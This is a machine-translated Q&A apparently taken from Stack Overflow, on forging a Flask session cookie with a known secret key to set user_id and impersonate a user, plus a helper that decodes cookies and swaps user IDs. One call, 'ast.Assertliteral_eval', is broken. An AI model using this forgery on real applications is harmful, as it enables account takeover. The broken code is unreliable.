在烧瓶中锻造饼干

时间:2018-10-04 10:03:17

标签: flask session-cookies

我有以下有效载荷:

PAYLOAD = '{"_fresh":True,"_id":"<id>","csrf_token":"<token>","user_id":"1"}'

以及密钥:

secret_key = 'lulzimsecret'

我正在尝试使用密钥伪造一个cookie。这是我的代码:

class App(object):  
    def __init__(self):
        self.secret_key = None

app = App()  
app.secret_key = secret_key
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
f = open('new','wb')
session = serializer.dump(ast.Assertliteral_eval(PAYLOAD),f)
f.close()
f = open('new','rb')
print f.read()

我尝试将有效载荷既作为字典又作为字符串传递。

当我尝试传递为字符串然后重新解析响应以确保其编码正确时,我得到了:

{" b":"<blob>"}

其中blob实际上是我使用base64.urlsafe_b64encode编码的有效负载。

当我作为字典通过时,我得到了:

{"_fresh":True,"_id":{" b":"<blob>"},"csrf_token":{" b":"<blob>"},"user_id":{" b":"MA=="}}

其中,blob是其各自值的base64.urlsafe编码值。我想要的是一个cookie,它在解析后看起来像是有效载荷。

此外,这是我的代码,用于将会话cookie转换为可读文本:

def getpl(s):
    s = s[1:]
    sessk = s.split('.')[0]
    for i in range(6):
        try:
            tmp = base64.urlsafe_b64decode(sessk + '='*i)
            tmp = zlib.decompress(tmp)
            tmp = tmp.replace('true','True')
            tmp = tmp.replace('"user_id":"6"','"user_id":"0"')
            break
        except Exception as e:
            pass
    if tmp is None:
        print 'general error'
    return tmp

1 个答案:

答案 0 :(得分:0)

因此,最简单的答案通常是正确的答案:在编写适合烧瓶使用的字典时,值必须包含'u'前缀,否则也将在base64中进行编码,从而呈现任何内容被设计成不可读。

所以基本上,如果要使用的字典是:

{'user':'hello'}

您必须实际编写:

{'user':u'hello'}

完成。